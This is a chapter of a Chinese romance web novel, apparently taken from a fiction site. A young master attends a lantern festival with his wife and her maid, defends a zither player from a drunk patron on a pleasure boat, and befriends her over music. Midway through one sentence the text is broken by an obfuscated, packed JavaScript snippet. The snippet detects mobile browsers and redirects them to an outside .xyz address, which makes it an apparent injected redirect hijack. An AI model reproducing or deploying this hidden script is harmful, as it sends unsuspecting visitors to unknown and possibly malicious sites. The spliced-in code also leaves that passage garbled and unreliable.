两人回到房间,开始精心挑选晚上要穿的衣裳。李傲雪选了一件淡粉色的襦裙,裙摆绣着精致的桃花,显得清新又温婉。玉溪则挑了一件鹅黄色的长裙,活泼俏皮。她们对着镜子仔细梳妆,李傲雪在发间别上一支白玉簪子,玉溪则戴了一对玲珑的珍珠耳环。 傍晚时分,肖晨来到她们的住处。只见李傲雪和玉溪焕然一新,他眼中满是赞赏:“你们二人今日真是光彩照人,走,咱们这就出发。” 三人一同来到街上,只见花灯如昼,整条街道被装点得五彩斑斓。形态各异的花灯在微风中轻轻摇曳,仿佛在诉说着一个个美好的故事。李傲雪被一盏玉兔造型的花灯吸引,那玉兔活灵活现,眼睛仿佛还会眨动。肖晨见她喜欢,便上前买下,递给李傲雪:“喜欢就拿着,这玉兔花灯和你一样可爱。”李傲雪脸颊微红,接过花灯,眼中满是欢喜。 走着走着,他们来到一处猜灯谜的摊位前。玉溪兴奋地跑过去,看着一个个悬挂的灯谜跃跃欲试。肖晨和李傲雪也跟了过来。玉溪看着一个灯谜念道:“‘一把刀,顺水漂,有眼睛,没眉毛。打一动物’,这我知道,是鱼!”摊主笑着点头,递给玉溪一个漂亮的香囊作为奖品。玉溪开心地将香囊递给李傲雪:“小姐,给您。”李傲雪接过香囊,笑着摸了摸玉溪的头。 不远处传来一阵喝彩声,原来是有杂耍艺人在表演。他们赶忙挤过去观看,只见艺人在空中耍弄着金箍棒,动作娴熟,令人眼花缭乱。周围的观众不时发出惊叹和叫好声。李傲雪看得入神,紧紧拉着肖晨的衣袖,眼中满是新奇。 逛了许久,肖晨看着有些疲惫但依旧满脸笑意的两人,说道:“逛了这么久,想必你们也饿了,去吃些小吃吧。”他们来到一个小吃摊前,要了一些糖炒栗子、桂花糕和热汤面。李傲雪吃着香甜的桂花糕,满足地说道:“少爷,今日真是太开心了,这灯节果然名不虚传。”肖晨看着她,眼中满是爱意:“只要你开心就好,以后每年灯节,咱们都一起来。” 李傲雪和玉溪齐声说道:“那真是太好了!”肖晨看着她们开心的模样,心里也满是欢喜,接着说道:“我们现在去客栈找林羽吧。” 三人来到客栈,林羽早已在那儿等候多时。见他们终于来了,林羽赶忙迎上前,笑着说道:“肖兄,可算把你们盼来了,嫂夫人也一同前来,真是幸会。”说着,他目光落在玉溪身上,面露疑惑。 肖晨赶忙介绍道:“这位姑娘是我家夫人的好友玉溪。玉溪,这位便是我常与你提及的林羽林兄。” 玉溪落落大方地福了福身,说道:“林公子,久仰了。” 林羽连忙回礼,笑道:“原来是玉溪姑娘,今日得见,实乃林某之荣幸。” 肖晨环顾四周,问道:“林兄,此处人多嘈杂,我们找个安静的地方叙话如何?” 林羽点头称是,领着众人来到楼上一间幽静的雅间。待众人落座后,林羽吩咐小二上了几壶香茗和一些精致的点心。 林羽端起茶杯,轻抿一口,说道:“肖兄,嫂夫人,今日灯节,城中定是热闹非凡,你们一路逛来,可有什么趣事?” 李傲雪笑着说道:“林公子,今日所见所闻,皆十分有趣。那些花灯美轮美奂,还有猜灯谜、杂耍表演,我们玩得不亦乐乎。” 玉溪也在一旁附和:“是啊是啊,尤其是那猜灯谜,我还赢了个香囊呢。”说着,她掏出香囊给大家看。 林羽满脸笑意,略带调侃地看向肖晨:“肖兄有嫂夫人陪着,整日这般开心,我都忍不住心生羡慕呢。” 肖晨哈哈一笑,拍了拍林羽的肩膀:“那你也赶紧成家就好啦,等你有了自己的娘子,一样能享受这般温馨甜蜜。” 林羽摆了摆手,脸上露出几分不羁:“不急不急,要真的成亲,我可就被管住喽,哪还有机会自在地看美女。” 李傲雪微微皱眉,轻嗔道:“林公子这话可不对,夫妻之间应是相互尊重、相互扶持。若为了所谓看美女的自由不成家,岂不是辜负了真正的良缘?” 玉溪也在一旁点头:“是啊,林公子,真心相待的伴侣,能带来的是温暖与安心,而非束缚。” 林羽见两位姑娘一脸认真,赶忙赔笑道:“嫂夫人和玉溪姑娘莫要生气,我不过是玩笑之言。只是尚未遇到那能让我心甘情愿安定下来之人罢了。” 肖晨笑着摇摇头:“你呀,别总是玩世不恭。缘分到了,自然就知道成家的好了。说不定哪天,一个姑娘就突然闯进你心里,让你再也挪不开眼。” 林羽笑而不语,端起茶杯又喝了一口,似乎在想象着肖晨描述的那般场景。 林羽面带微笑,看向李傲雪说道:“嫂夫人,这灯会如此之美,您和玉溪姑娘不妨就在这客栈歇歇脚,好好欣赏窗外的夜景。我和肖兄听闻此处有一场诗会,想去凑凑热闹,吟诗作赋一番。” 李傲雪微微点头,温婉笑道:“林公子客气了,你们既有雅兴,便去无妨。我与玉溪在此处也可好好感受这灯节氛围。” 玉溪也乖巧地说道:“是呀,少夫人和我定会照顾好自己,林公子与少爷放心去便是。” 肖晨看向李傲雪,眼神中满是关切:“傲雪,那你和玉溪在客栈里别乱跑,若有什么需要,尽管吩咐客栈伙计。我们去去就回。” 李傲雪轻轻应道:“少爷放心,你们尽兴就好。” 林羽起身,对李傲雪和玉溪拱手作揖:“嫂夫人、玉溪姑娘,那我们便先行一步。” 肖晨也跟着起身,又叮嘱了几句,才与林羽一同离开雅间,前往诗会。 李傲雪和玉溪来到窗边,凭栏而望。街道上花灯如繁星般璀璨,行人如织,欢声笑语不断。玉溪兴奋地指着窗外:“少夫人,您看那盏荷花灯,做得可真精致。”李傲雪顺着她指的方向看去,笑着点头:“确实好看,这灯节的热闹,即便静静看着,也觉得满心欢喜。” 两人沿着熙攘的街道漫步前行,肖晨转头看向林羽,好奇地问道:“这参加诗会的地方究竟在哪里呀?”林羽嘴角微微上扬,故意卖着关子,故作神秘地说道:“就在前方的船上。” 肖晨心中暗自思忖,想必是在船上一边欣赏沿途风景,一边吟诗作赋,倒也别有一番雅趣。待他们走近,眼前的景象却让肖晨不禁微微咋舌。只见一艘巨大的画舫静静停泊在河畔,船身雕梁画栋,气势恢宏。走进船内,更是被其奢华的装修所震撼。 船舱内,地面铺设着光洁如镜的大理石,倒映着头顶华丽的宫灯,灯光摇曳,如梦如幻。四壁上挂着名家字画,彰显着高雅的格调。桌椅皆由名贵木材打造,上面镶嵌着精美的玉石和珍珠,在灯光下闪烁着柔和的光芒。 林羽看着肖晨惊讶的表情,笑着说道:“这船乃是城中一位富商所备,每逢佳节,便会举办此类诗会,广邀城中才子佳人。今日咱们可有眼福了。” 肖晨一边四处打量,一边感叹道:“如此奢华的布置,想必今日诗会定是精彩非凡。”两人沿着船舱通道缓缓前行,不一会儿便来到了诗会的主厅,厅内已经聚集了不少文人雅士,大家三五成群,或低声交谈,或吟诗诵词,气氛热烈而融洽。 待众人纷纷入座,宽敞的船舱内瞬间热闹起来。不多时,一队侍从迈着整齐的步伐鱼贯而入,他们手中端着精致的酒菜,有条不紊地摆放在每个人的桌前。盘中的珍馐散发着诱人的香气,琼浆玉液在杯中泛起粼粼波光,令人赏心悦目。 就在众人陶醉于这美食的诱惑之时,一阵轻盈的脚步声传来。只见一群舞女身着色彩斑斓的罗裙,宛如春日盛开的繁花,袅袅娜娜地步入厅中。她们身姿曼妙,莲步轻移,长袖挥舞间仿佛将整个船舱都带入了如梦似幻的仙境。 与此同时,一位身着素衣的女子缓缓走向置于厅中的古筝。她轻轻落座,玉指轻拂琴弦,悠扬的琴音顿时流淌而出。而在另一侧,一位男子手持竹笛,双唇轻启,笛声婉转,与古筝之音相互呼应,相得益彰。 熟悉的旋律渐渐响起,竟是那首动人心弦的《凤求凰》。琴音清脆如珠落玉盘,笛声悠扬似林间清风,两者交织在一起,将司马相如对卓文君的炽热追求之情演绎得淋漓尽致。舞女们随着这美妙的旋律翩翩起舞,她们的舞姿时而轻盈飘逸,时而热烈奔放,举手投足间尽显风情。 船舱内的众人皆沉浸在这美妙的乐舞之中,仿佛忘记了外界的一切。肖晨与林羽也不例外,他们一边浅酌美酒,一边欣赏着精彩的表演,不禁为这场诗会前的盛宴暗暗叫绝。 不知时光悄然流逝了多久,林羽微微侧身,凑近肖晨耳边,轻声问道:“肖兄,你觉得这里怎么样?”肖晨微微点头,由衷说道:“还不错,无论是这奢华的布置,还是精彩的乐舞,都让人眼前一亮。”说罢,他目光中透露出一丝疑惑,“只是,这诗会什么时候开始呢?” 林羽嘴角勾起一抹狡黠的笑容,眼神带着几分玩味,低声对肖晨说道:“肖兄,你还不明白吗,这可不是寻常只专注于诗词的诗会。在这儿,美女便是诗句啊。” 肖晨微微一怔,脸上闪过一丝诧异,随即眉头微皱,心中不禁泛起一丝失落。他本以为是一场纯粹以诗会友、切磋文学的雅集,未曾想竟有着这般风流意味。看着周围一些人眼中流露出的轻佻之色,他心中有些不是滋味。 林羽见肖晨神色有异,赶忙解释道:“肖兄,别这般拘谨嘛。难得出来放松,且入乡随俗,享受这难得的乐趣。” 肖晨轻轻摇头,说道:“林兄,我本以为是一场能畅抒胸臆、以诗会知音的盛会,这般情境,实非我所期望。” 林羽拍了拍肖晨的肩膀,笑着说:“肖兄莫要扫兴,你看这满船的佳人,又有美酒相伴,岂不快哉?诗会嘛,形式多样,乐趣也各有不同。” 肖晨无奈地叹了口气,他虽不认同林羽的看法,但身处此地,也不便即刻离去,只能暂且按捺下心中的失望,继续观看着眼前的场景,只是兴致已然大减。 随着酒过三巡,众人渐渐有了几分醉意,场面也愈发喧闹起来。这时,一个满脸通红的公子哥,显然已被美酒与美色迷了心智,开始不满足于只在台下欣赏舞女和乐师的表演。只见他摇摇晃晃地站起身,大声嚷嚷着:“光在下面看着有什么意思,让那些女的过来陪我!” 一旁的侍从见状,心领神会,却还是佯装正经地走上前,说道:“公子,您有所不知,这里可是正经的诗会场所,这般行为怕是不妥。”那公子哥撇了撇嘴,不屑地哼了一声,随即从怀中掏出一锭银子,“啪”地一声拍在桌上,挑衅地看着侍从:“这些,够了吗?”侍从脸上依旧不动声色,没有丝毫妥协的意思。公子哥见状,眉头一皱,又狠狠掏出几锭银子拍在桌上,银子碰撞发出清脆声响。 侍从这才装模作样地露出为难的神情,扫视了一眼四周,缓缓开口道:“唉,公子您可是文雅之人,想必这会是需要人在旁服侍,才能更好地吟诗赋词。你们几个,还不过去伺候公子!”说罢,朝几位舞女使了个眼色。 那几位舞女面露难色,但在侍从的眼神示意下,也只能无奈地走到公子哥身边,勉强赔笑。其他一些人见状,也纷纷效仿,掏出银子,叫嚷着让舞女和乐师们过来相陪。原本以诗会为名的雅集,瞬间变得乌烟瘴气,充斥着金钱交易与轻浮的笑声。 肖晨目睹这一切,心中满是厌恶,转头看向林羽,语气中带着几分愤怒与失望:“林兄,这就是你所说的诗会?如此行径,简直是对诗词的亵渎!” 林羽一脸不以为意,耸耸肩说道:“肖兄,这本来就是再正常不过的事儿了。你想想,在这世上,其他地方打着各种高雅名义,实则来纸醉金迷的场合可都不在少数呢。” 肖晨眉头紧皱,眼中满是不忿:“可这终究与我心中所想的诗会大相径庭,我实在无法苟同这样的风气。”说着,他便作势要起身离开。 林羽赶忙伸手拉住肖晨,神色有些焦急:“肖兄,咱们暂时先呆在这里。你想啊,要是现在就走,传出去让别人怎么看我们?难免会被人说三道四,说咱们不合群,扫了大家的兴致。” 肖晨无奈地重新坐下,心中烦闷不已,他看着周围混乱的场景,语气沉重地说:“林兄,我本以为能在此处与志同道合之人,以诗词会友,共品佳作。如今这般,实在让人心寒。” 林羽轻拍肖晨的肩膀,安慰道:“肖兄,你也别太往心里去。这不过是一场聚会罢了,咱们就暂且忍耐一下。等过会儿寻个合适的时机,咱们再悄然离开便是。” 肖晨微微点头,心中虽有万般不愿,但也只能暂且按捺下怒火,只是眼神中仍透着浓浓的失望,静静地等待着能离开这污浊之地的时机。 那公子哥醉意醺醺,已然毫无顾忌,扯着嗓子口不择言地叫嚷起来:“哼,在外面多自在,想怎么玩就怎么玩。可回了家,那帮妻妾就跟紧箍咒似的,管得死死的。你们说,是不是这个理儿?俗话说得好,‘妻不如妾,妾不如偷’。这女人啊,没娶回家的时候,看着跟朵娇艳的花儿似的,可一旦娶进门,日子久了,连棵草都不如!” 他这一番粗俗不堪的言论,让在场众人皆微微变色。而一旁那位原本专注弹奏古筝的女子,听闻此言,眼中闪过一丝愤怒与不屑。她手下的琴音节奏陡然一变,原本悠扬舒缓的曲调,瞬间进入高速,变得激昂高亢起来。 她十指如飞,重重地拨弄着琴弦,仿佛要将心中的不满与愤懑,都通过这急促的琴音发泄出去。那强烈的音符如同一串串利箭,在船舱内穿梭回荡,仿佛在无情地批判着公子哥的荒谬言辞。 周围一些稍有良知的文人,听到这激烈的琴音,也不禁面露尴尬之色,纷纷低下了头,不敢与旁人对视。而那位公子哥却浑然不觉,依旧在那胡言乱语,丝毫没有意识到自己的话已经引起了公愤。 肖晨听到这刺耳的言论和激昂的琴音,心中的厌恶愈发浓烈。他紧握着拳头,对林羽低声说道:“林兄,我实在是一刻都不想在这里多呆了,这般低俗之人,竟还能堂而皇之地出现在所谓的诗会之上!” 林羽焦急地扯了扯肖晨的衣袖,小声劝道:“再等一会,肖兄。你瞧瞧,门口都有人守着,咱们现在贸然出去,怕是会惹出麻烦。”肖晨满脸不情愿,却又无可奈何,只得继续坐在原地,心中烦闷如潮水般翻涌。 那公子哥见无人回应他方才的混账话,不但没有收敛,反而更加肆无忌惮起来,提高音量继续说道:“人不风流枉少年啊!兄弟们,今个好不容易出来,就该洒脱一些,放浪形骸才对!回了家,被那些女人管着,可就没这逍遥自在的待遇喽!” 他这一番煽动性的话语,竟让在场一些好色之徒觉得颇有些道理。这些人平日里还佯装着一副读书人的模样,此刻却全然不顾斯文,纷纷附和起来,一时间,船舱内充斥着阵阵低俗的哄笑。 他们或是大声叫好,或是与旁人高谈阔论着如何在这声色场所尽情享乐,完全忘了这场聚会本应以诗会友的初衷。整个场面愈发混乱不堪,空气中弥漫着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993183|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股令人作呕的浊气。 肖晨看着眼前这不堪入目的场景,心中怒火中烧,却又不得不强忍着。他紧咬下唇,眼神中透露出决绝,暗暗发誓,以后再也不会参加此类所谓的“诗会”。他时不时看向门口,盼望着能尽快找到脱身的机会,逃离这个乌烟瘴气的地方。 那公子哥醉眼朦胧,扫视一圈,发现所有舞女和乐师都已应众人要求下去陪伴,唯独那弹琴的女子仍端坐在古筝前,便摇摇晃晃地朝她走去。他色眯眯地盯着女子,涎着脸说道:“小娘子,就你还没陪本公子呢,来,陪我喝几杯。只要你把本公子伺候高兴了,少不了你的赏钱。” 女子黛眉紧蹙,眼中满是厌恶与不屑,她挺直脊背,冷冷回应道:“我是卖艺不卖身的,请公子自重!” 说罢,她微微侧头,不再看那公子哥一眼,双手轻轻搭在琴弦上,似是准备继续弹奏,以这种方式表明自己的态度。 公子哥碰了一鼻子灰,恼羞成怒。他伸手就想去拉扯女子的衣袖,嘴里还不干不净地骂道:“给脸不要脸的东西,在这装什么清高!” 周围众人见状,大多只是冷眼旁观,少数几个有心阻拦的,却又忌惮公子哥的身份,犹豫着不敢上前。就在这千钧一发之际,肖晨再也看不下去,“噌”地一下站起身来,快步走向前,一把抓住公子哥的手腕,怒声呵斥道:“光天化日之下,朗朗乾坤,你竟如此无礼!人家姑娘已经说得很清楚,你莫要再纠缠!” 那公子哥被肖晨抓住手腕,先是一愣,随即恼羞成怒,转头瞪着肖晨,骂道:“哪来的一根葱,这么不识趣!你也不打听打听,在这儿,就是寻开心的地方!莫非你也看上了这个女人,想跟本公子抢?” 肖晨眉头紧皱,目光如炬地盯着公子哥,义正言辞地说道:“我只是看不惯你这般仗势欺人、轻薄女子的行径!这里即便号称是玩乐之地,也不该容你如此胡作非为,肆意践踏他人尊严。” 公子哥冷笑一声,用力甩开肖晨的手,整理了一下衣袖,挑衅道:“哟呵,还说得头头是道,装什么正人君子。在这船上的,哪个不是来寻欢作乐的,就你清高?” 说罢,他环顾四周,想寻求其他人的支持。 周围一些人或是尴尬地别过头,或是附和着公子哥发出几声哄笑,但也有少数人露出些许赞同肖晨的神色,只是敢怒不敢言。那弹琴的女子微微动容,眼中对肖晨流露出一丝感激。 林羽见势不妙,赶忙跑过来,打圆场道:“误会,都是误会!两位公子,今日难得相聚,何必为了这点小事伤了和气。” 说罢,他暗中扯了扯肖晨的衣角,示意他稍安勿躁。 那公子哥依旧不依不饶,涨红着脸叫嚷道:“今个我是非要这个女人不可!怎么着,有本事咱们就比比谁的钱多!” 肖晨心里清楚,若真在这上头纠缠,比拼钱财大手大脚地花销,实在不妥。但他性子刚直,还是硬气回应:“那点钱,我还不屑一顾!” 公子哥斜睨着肖晨,满脸挑衅:“哼,口气倒是不小!你到底姓什么?” 肖晨昂首挺胸,大声答道:“肖!” 一听这个姓氏,公子哥瞬间脸色大变,酒意也醒了几分,脸上的嚣张气焰顿时消散,取而代之的是满脸赔笑,点头哈腰地说道:“原来是肖公子啊,真是大水冲了龙王庙,一家人不识一家人,我刚刚多有得罪,您可千万别跟我计较啊!我家里的生意,平日里可全仰仗令尊照看呢。” 肖晨冷哼一声,看着眼前这副嘴脸瞬间转变的公子哥,心中满是鄙夷:“既然知道,就收起你这副轻薄做派。” 公子哥忙不迭地点头,“是是是,肖公子教训得是。刚刚我喝多了,一时糊涂,冒犯了您和这位姑娘,实在对不住。”说罢,他转头看向那弹琴的女子,也赶忙赔罪:“姑娘,刚刚是我不对,还望您大人不记小人过,别往心里去。” 弹琴女子微微点头,轻声说道:“但愿公子日后能谨言慎行。” 林羽在一旁见气氛有所缓和,笑着说道:“好了好了,既然误会都解开了,那大家就都消消气。今日这场诗会,本就是为了结交朋友,可别因为这点事儿坏了兴致。” 肖晨看向那女子,目光温和地说道:“刚才你弹的琴,有种说不出的感觉,仿佛有股力量,能让人的心情随着旋律起伏变化。我方才听着,觉得你弹奏时,似是在发泄自己的不满。” 女子听闻,眼中闪过一丝惊讶与欣喜,不禁问道:“公子,你怎么能听懂我的琴?”她微微仰头,凝视着肖晨,眼神中满是好奇与探究,仿佛在眼前之人身上发现了难得的知音。 肖晨微微一笑,坦然说道:“其实也并非什么难事。琴音如心声,你心中有情绪,自然会在指法、节奏中流露出来。那激昂的旋律,还有用力拨动琴弦的声响,都像是在诉说着你的愤懑。” 女子轻轻点头,眼中泛起一丝感动:“公子所言极是。方才那登徒子言语粗俗,实在令人气愤,我只能借琴音一抒心中不快。没想到公子竟能听出其中深意,实乃知音。”说罢,她微微福身,向肖晨表达敬意。 周围人见状,纷纷投来异样的目光,有惊讶于肖晨能懂琴音的,也有对这突如其来的知音之遇感到好奇的。那公子哥站在一旁,脸上一阵红一阵白,心中虽有不甘,但忌惮肖晨的身份,也只能默不作声。 肖晨微笑着解释道:“我平日里就喜欢听音乐,没事也会琢磨一二,所以对这些略知一二罢了。”女子听闻,眼中的欣赏之意更浓,轻声说道:“可否请公子借一步说话?”肖晨心中满是好奇,不知女子有何事相商,便跟着她一步步走去。 女子将肖晨带到一处布置典雅的闺房。闺房之中,锦幔低垂,窗前摆放着一张精致的琴桌,上面搁着一把古琴,琴身纹理细腻,泛着柔和光泽。墙壁上挂着几幅字画,皆是淡雅山水,散发出一股清幽的气息。 待肖晨进入,女子轻轻关上房门,转过身来,神情略显羞涩又带着几分郑重。她说道:“公子,方才多谢您仗义相助。小女子久居这声色场所,虽卖艺不卖身,却也常遭轻薄。今日得公子解围,心中感激不尽。” 肖晨赶忙摆手道:“姑娘不必客气,路见不平,自当出手相助,换做旁人,我也不会坐视不理。” 女子微微颔首,接着说道:“公子懂琴,实乃难得。小女子平日里也以琴为伴,今日有缘遇到知音,想与公子再深入探讨琴艺,不知公子意下如何?” 肖晨略带歉意地笑了笑,坦言道:“实不相瞒,我虽对音乐喜爱有加,可仅仅停留在听的层面,并不会弹奏。倘若姑娘不嫌弃,往后你若想弹奏,我乐意随时做你的听众。” 女子眼中闪过一丝意外,随即笑意盈盈,说道:“公子能懂琴音,已实属难得。这世间,能真正听懂琴中之意的人少之又少。即便公子不会弹奏,能有您这样的知音倾听,也是我的荣幸。” 说着,她移步到琴桌前,轻轻坐下,玉指轻抚琴弦,发出一阵悦耳的试音。“那小女子便献丑了,还望公子莫要见笑。”言罢,她微微闭目,沉浸其中,开始弹奏起来。 悠扬的琴音在闺房中缓缓流淌,时而如潺潺溪流,轻快婉转;时而似林间清风,缥缈空灵。肖晨静静聆听,仿佛置身于一片宁静的山林之中,身心皆被这美妙的琴音所洗涤。一曲终了,他由衷赞叹:“姑娘琴艺精湛,此曲宛如天籁,让人心醉神迷。” 女子睁开双眸,脸上泛起一抹红晕,轻声说道:“多谢公子夸赞。能得公子这般欣赏,小女子倍感欣慰。” 两人就这样,一个弹奏,一个倾听,在这小小的闺房中,沉浸在音乐带来的美好氛围里,暂时忘却了外界的喧嚣与纷扰。 23. 穿着特殊衣服暗示他 不知过了多久,女子的琴音缓缓停下,余音仍在闺房内袅袅盘旋。肖晨一脸真诚地看向女子,赞叹道:“你弹奏得实在是太好了,每一个音符都仿佛有灵魂一般,直抵人心。” 女子微微垂眸,眼神中闪过一丝复杂的情绪,轻声问道:“公子可知道我为什么弹琴吗?” 肖晨微微一怔,思索片刻后,温和地说道:“我想,于你而言,琴不仅是一门技艺,更是你表达内心的媒介吧。就像今日,心中有不满,便借琴音宣泄;而方才,想必是心中有诸多美好思绪,才弹奏出如此动人之曲。” 女子听闻,眼中泛起些许泪光,轻轻点头道:“公子所言极是。我出身贫寒,为谋生计来到这声色之地卖艺。虽周围多是些不懂琴音之人,但我仍不舍这琴。唯有在抚琴之时,我才能暂忘世间烦恼,寻得内心安宁。” 她顿了顿,抬眸凝视着肖晨,似是鼓起勇气般说道:“今日与公子相遇,听闻公子对琴音的见解,我仿若寻到了真正的知音。不知公子往后,还能否常来听我弹琴?” 肖晨微笑着点头,欣然说道:“当然可以啊,能与姑娘以琴会友,实乃人生一大雅兴。” 女子微微红了脸,眼中闪过一丝犹豫,而后试探着问道:“公子若是经常出来,家里的夫人和妾室会不会因此找麻烦呢?” 肖晨爽朗一笑,坦然回应:“我并没有什么妾室,家中只有一位妻子。她性情温婉,知书达理,若知晓我能结识像姑娘这般琴艺高超的友人,以琴为乐,想必也会理解的。” 女子听闻,心中暗暗松了口气,面上浮现出一抹真心的笑意:“如此便好。能与公子这般纯粹之人结交,实是小女子之幸。往后若公子有空,小女子随时在此以琴相迎。” 肖晨看着女子真诚的模样,也笑道:“好,一言为定。待我下次再来,说不定还能带上几首新得的琴谱,与姑娘一同品鉴。” 肖晨这才恍然,笑着说道:“瞧我,聊了这么久,还没请教姑娘芳名,我叫肖晨。”女子微微福身,轻声回应:“小女子叫丁香。” 肖晨点头,目光温和:“丁香姑娘,今日与你交谈甚欢,听闻妙曲,实在难忘。那我们改日再相聚。”丁香眼中满是期许,柔声道:“好,期待与公子再次相见,公子慢走。” 肖晨转身,轻轻推开房门,又回头与丁香示意,才迈步离去。丁香望着他远去的背影,嘴角不自觉上扬。 丁香待肖晨离去后,轻轻走到妆台前,从一个精致的锦盒里缓缓拿出那支求来许久的姻缘签。她目光温柔又带着几分忐忑地凝视着签文,上面赫然写着让她寻找有缘人。 她的思绪不禁飘回到与肖晨相处的点点滴滴,从他挺身而出为自己解围,到两人对琴音的惺惺相惜,每一幕都如此清晰。莫非,那个命中注定的有缘人就是他?丁香心中泛起一阵涟漪。 可很快,她的眼神又黯淡下来。她清楚地记得,肖晨说自己已有家世,家中有一位温婉的妻子。即便他们之间有着对琴艺共同的热爱,有着难得的默契,这份缘分似乎也只能止步于此。 丁香轻轻叹了口气,将姻缘签重新放回锦盒,走到窗前,望着窗外熙攘的街道,心中五味杂陈。她明白,有些人,即便有缘相遇相知,却也可能因为现实的种种而无法相伴。但她依然会将这份美好的相遇,深藏在心底,就如同珍藏着这一支姻缘签一般。 肖晨走出船舱,外面清新的空气扑面而来,让他顿时觉得神清气爽,仿佛刚刚在舱内的不愉快都被一扫而空。 林羽早已在外面等候,见肖晨出来,立刻凑上前,脸上带着几分好奇,低声问道:“那女子跟你去做了什么?不会是有什么艳遇吧?” 肖晨白了林羽一眼,没好气地说道:“别瞎想,我们只是以琴会友罢了,并没有做什么。那姑娘琴艺高超,我不过是与她交流了些对琴音的见解。” 林羽挑了挑眉,似笑非笑地说:“哦?以琴会友?这理由倒是新鲜。不过看你一本正经的样子,似乎还真是这么回事。” 肖晨无奈地摇了摇头:“你就别打趣我了。这场所谓的诗会实在是让人大失所望,还好能结识丁香姑娘这样纯粹爱琴之人,也算不虚此行。” 林羽拍了拍肖晨的肩膀,笑道:“好好好,算我错怪你了。既然如此,咱们也别在这多呆了,赶紧回去吧,别让嫂夫人等急了。” 两人一边说着,一边沿着河岸缓缓离去,身后那艘原本热闹非凡的画舫,渐渐被夜色笼罩。 两人一路漫步,很快便来到了客栈。刚踏入客栈大堂,就瞧见玉溪和李傲雪正坐在一旁等候,脸上隐隐透着几分焦急。 李傲雪一看到肖晨,赶忙起身迎了上去,关切地问道:“少爷,诗会上可还顺利?” 还没等肖晨开口,林羽就笑嘻嘻地抢先说道:“那当然了,嫂夫人。肖兄在诗会上那可是大出风头,在场众人无不钦佩他的才华。”说着,林羽还朝肖晨挤了挤眼睛,神色间满是调侃。 肖晨微微皱眉,轻轻瞪了林羽一眼,随后转头看向李傲雪,温和地说道:“傲雪,别听林兄胡言。诗会……有些出乎我意料,但也结识了些有趣的人,还算有所收获。” 李傲雪微微点头,眼中满是信赖:“少爷觉得有收获便好。我和玉溪在这等了许久,还担心你们出了什么事。” 玉溪也在一旁附和道:“是啊是啊,可算把少爷和林公子盼回来了。” 林羽笑着摆摆手:“让嫂夫人和玉溪姑娘担心了,是我们的不是。这诗会结束后又耽搁了些时间,下次一定注意。” 肖晨看向李傲雪,歉意地说道:“傲雪,今日让你久等,实在抱歉。” 李傲雪温柔一笑:“无妨,少爷平安回来便好。” 肖晨奔波出来这么久,着实感到疲惫不堪,他揉了揉太阳穴,对玉溪和李傲雪说道:“你们安排几间房吧,我们上去休息,折腾这一晚,实在乏了。明天一早便启程回去。” 李傲雪连忙点头,关切地看向肖晨,说道:“少爷一路辛苦,我这就去安排。玉溪,你去跟掌柜的说一声,要两间上房。” 玉溪应了一声,快步走向掌柜。不一会儿,她回来告知一切安排妥当。 林羽伸了个懒腰,笑着说:“那行,肖兄,嫂夫人,咱们明早见。今晚可得睡个好觉。” 肖晨微微颔首,与林羽互道晚安后,便和李傲雪一同往房间走去。踏入房间,肖晨顿感一阵温暖与安心。他走到床边,坐下稍作休息,李傲雪贴心地打来一盆热水,递上毛巾,轻声说道:“少爷,先擦擦脸,洗漱完好好睡一觉。” 肖晨接过毛巾,擦拭着脸,对李傲雪的体贴关怀满心感激。洗漱过后,他躺到床上,很快便进入了梦乡,为这充实又疲惫的一天画上了句号。 肖晨轻轻拥着李傲雪,像是寻到了世间最安稳的依靠。在外奔波的疲惫与纷扰,此刻在她的身旁都渐渐消散。 他将身子又往李傲雪那边凑了凑,手臂下意识地收紧,仿佛只有这样,才能驱散心底那一丝在外的不踏实感。李傲雪似乎察觉到了他的动作,微微侧头,温柔地笑了笑,往他怀里蹭了蹭,轻声呢喃:“少爷,安心睡吧,我在呢。” 肖晨低低应了一声,感受着李傲雪身上传来的温度,紧绷的神经慢慢松弛下来。在这陌生客栈的夜晚,有她在怀,仿佛一切都变得宁静而祥和,不多时,他便带着安心的笑意,沉沉睡去。 夜,静谧无声,只有窗外偶尔传来几声虫鸣。肖晨在睡梦中微微皱了下眉,似乎梦到了诗会上那些不堪的场景,手臂下意识又紧了紧,像是生怕李傲雪会消失一般。 李傲雪被他的动作微微弄醒,朦胧中感觉到肖晨的不安,她轻轻抬手,温柔地抚了抚肖晨的额头,顺着他的发梢轻轻梳理,口中喃喃着一些安慰的话语,声音轻柔得如同微风拂过湖面。在她的安抚下,肖晨的眉头渐渐舒展,呼吸也再次变得平稳。 不知过了多久,窗外透进一丝微光,晨曦悄然降临。肖晨悠悠转醒,映入眼帘的便是李傲雪恬静的睡颜。他凝视着她,心中满是温暖与感激,庆幸自己身边能有这样一位体贴温柔的女子相伴。 他轻轻起身,生怕吵醒李傲雪,简单洗漱过后,便走到窗边,推开窗户。清新的空气扑面而来,让他神清气爽。回想起昨夜在诗会上的种种,他不禁感慨,还好有李傲雪在,无论外面的世界多么喧嚣复杂,只要回到她身边,就能找到内心的宁静。 这时,身后传来轻微的动静,李傲雪醒了。她揉了揉眼睛,看到站在窗边的肖晨,微笑着问道:“少爷,你醒啦?”肖晨转身,走到床边坐下,握住李傲雪的手,说道:“嗯,醒了一会儿了。你再睡会儿吧,还早。”李傲雪摇了摇头,起身说道:“不了,我也起来吧,咱们不是说好了今天一早回去吗?我去收拾一下行李。” 两人迅速收拾好行囊,下楼与林羽会合。林羽看到他们,打趣道:“哟,肖兄嫂夫人,昨晚休息得可好?”肖晨瞪了他一眼,说道:“就你贫嘴。时辰不早了,咱们赶紧启程吧。” 一行四人踏上归程,清晨的阳光洒在他们身上,仿佛在为他们驱散昨日的不愉快。一路上,肖晨和李傲雪并肩而行,偶尔轻声交谈几句,林羽则在一旁时不时插上几句话,逗得众人发笑。玉溪跟在后面,看着前面三人相处融洽,脸上也洋溢着开心的笑容。 